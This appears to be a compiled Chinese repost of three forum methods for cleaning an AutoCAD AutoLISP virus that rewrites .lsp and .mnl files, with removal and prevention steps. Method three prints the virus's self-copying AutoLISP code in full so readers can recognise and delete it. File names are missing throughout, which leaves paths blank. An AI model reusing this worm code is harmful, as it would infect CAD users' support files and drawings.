2024年4月8日发(作者:)
方法 一
输入的列表有缺陷(转自LOVE空间)2009年04月07日 星期二 上午 11:14这个是个
新病毒,用以往的解决方法(改名为替换)无法解决,在网络搜索了一下看到百度空
间有个帖子有相关解决办法。
原帖如下:
今天在Q群里又见网友请求删除CAD病毒,说用专杀工具也无法解决,于是让他把病毒文件传了给
我。打开文件一看,发现这个“”文件内的程序代码跟以往的“”病毒文件不
同。
该病毒文件自动搜索CAD支持路径下的所有“*.mnl”文件和“*.lsp”文件。将病毒代码(“”
文件内容)写入“*.lsp”文件内,并在“*.mnl”文件中写入“*.lsp”文件的加载路径。同时,直线命
令“line”、外部参照管理命令“xref”和分解(炸开)命令“explode”无法使用。
CAD系统感染该病毒文件后,只是简单搜索删除“”文件,不能清除病毒。因为所有的
“*.lsp”文件已经被修改,所有“*.lsp”文件都是病毒文件。
解决方法壹:
①、关闭CAD
②、搜索并刪除所有“”文件
③、卸载CAD(必须卸载干净,并进入C盘用户目录内删除没有卸载完的CAD文件)后,重新安装CAD
解决方法贰:
①、关闭CAD
②、搜索并刪除所有“”文件
③、找一台没有被CAD病毒破坏、且安装有相同版本CAD的电脑,复制其所有“*.lsp”文件和“*.mnl”
文件至本机覆盖原文件(包括C盘用户目录内的相关文件)
预防CAD病毒:
装好CAD系统后,在没有被病毒感染前,将CAD目录内所有文件的属性设置为只读,可以减少中毒
的机率。(此法99.999%有效)
附:C:Documents and Settings×××Application DataAutodeskAutoCAD 200×R×.×
其中×××是你登录系统时的用户名, 200×和R×.×分别是CAD的版本和版本代号。(注意:目录
C:Documents and Settings是系统隐藏文件夹)
方法 二
CAD开机运行时会有一大串函数,并且产生的文件处理方法,我用了,方法很好就转过
来了
1
以下是本人中了病毒的后亲身体验的杀毒经历。
开始也在网上找了很多所谓的CAD病毒专杀、专杀什么的软件。。。全试了都没有用。后
来通过网上介绍的一些关于lsp病毒的特性,亲身试验后确实有效,在此和大家分享,希望能为大家解
决一些问题。
下面言归正传,杀毒步骤如下:
1、全盘删除(包括隐藏文件夹)——————废话了,呵呵
2、删除C:Documents and SettingsAdministratorApplication DataAutodeskAutoCAD
2006R16.2chsSupport下面的和
3、删除C:Documents and SettingsAdministratorApplication。DataAutodeskAutoCAD
2006R16.2chsSupport下面的、和。
4、删除C:Program FilesAutoCAD 2006Support下面所有的*****.lsp,本人用的2006版共10个
****.lsp文件。
5、COPY下面附件的alsp内的两个文件到C:Documents and SettingsAdministratorApplication
DataAutodeskAutoCAD 2006R16.2chsSupport,改为只读。
6、COPY下面附件的mnl内的三个文件到C:Documents and SettingsAdministratorApplication
DataAutodeskAutoCAD 2006R16.2chsSupport,改为只读。
7、COPY下面附件的LSP内的十个文件到C:Program FilesAutoCAD 2006Support,改为只读。
经以上步骤处理后,就完全可以放心使用了。
方法 三
CAD的病毒很多但都大同小异。现就出现的病毒进行杀毒。不用重新安装CAD的办法。
1、发现文件夹中多出说明你中毒了。
2、关闭CAD程序。
3、全盘查找 *.fas *.lsp *.mnl *.arx文件,除了CAD安装目录以外的全部删除。
4、检查CAD安装目录文件的修改时间,把最近的几个文件中的病毒代码删除。(用记事本打开)
5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。
说明:
1、病毒感染X:Program FilesAutoCAD 20**Support文件夹下的;
;;;;ai_;;;
;文件。
2、要删除的病毒代码在文件的尾部,具体如下:
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
2
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile ""))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile ""))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "support"))
3
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath ""))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)))
4
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
5


发布评论